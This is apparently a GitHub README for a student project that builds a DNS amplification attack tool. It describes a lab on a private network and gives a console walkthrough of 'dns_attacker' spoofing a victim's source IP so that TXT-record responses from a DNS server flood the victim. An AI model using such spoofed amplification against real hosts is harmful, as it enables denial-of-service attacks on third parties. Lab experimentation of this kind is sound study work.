goldenmean58/dns_amplification_attack

a simple experiment of DNS amplification attack

DNS Amplification Attack

• Contents:
  • 1 DNS Amplification Attack
    • 1.1 About The Project
    • 1.2 Getting Started
    • 1.3 Screenshots
    • 1.4 License
    • 1.5 Contact
    • 1.6 Acknowledgments

About The Project

This repository is a simple experiment of DNS-Amplification-Attack.

How it started

This is my graduation project

How it's going

This project now is not as good as I expected, especially the dns server, which now can only send 512-byte useless response packet. I'd like to make it a valid dns response.

Getting Started

To quickly get started, you should set up a local network, at least one attacker, one dns server and a victim. Of course they can be in the same host.

After that, let's begin building the executable files:

root@build:~# git clone https://github.com/GoldenMean58/dns_amplification_attack
root@build:~# cd dns_amplification_attack
root@build:~/dns_amplification_attack# ./configure && make

And you will have dns_attacker and dns_server in the src directory. They do what as their names show.

Let's pretend the IP configure as below:

Network Gateway: 192.168.1.1
DNS Server: 192.168.1.1
Attacker: 192.168.1.2
Victim: 192.168.1.3

Now, we can put our hands to attack. First we start our DNS server:

root@dns-server:~# ./dns_server
DNS server bind address: 0.0.0.0
DNS server bind port:53

As you can see, we bind the dns_server to 0.0.0.0:53 for external access, which need privilege.

Then we start our attacker:

root@attacker:~# ./dns_attacker
Target ip address: 192.168.1.3
DNS server ip address: 192.168.1.1
DNS server port: 53
Query domain name(Ctrl+D to end): www.baidu.com
Query type(A = 1, NS = 2, CNAME = 5, MX = 15, TXT = 16 , AAAA = 28): 16
Query domain name(Ctrl+D to end):<Ctrl+D>

We asked the dns server(192.168.1.1:53) for www.baidu.com's TXT record and spoof the query packet's source ip to Target ip address (192.168.1.3). After we enter <Ctrl+D>, the target victim was under attack. You can monitor network flow(UDP) on the dns server, attacker and victim.

Screenshots

Linux attack:

Windows victim:

License

Distributed under the MIT License. See LICENSE for more information.

Contact

GoldenMean - [email protected]

Acknowledgments

Cloudflare article

User Datagram Protocol(UDP) WIKIPEDIA article

IPv4 WIKIPEDIA article

Domain Name System WIKIPEDIA article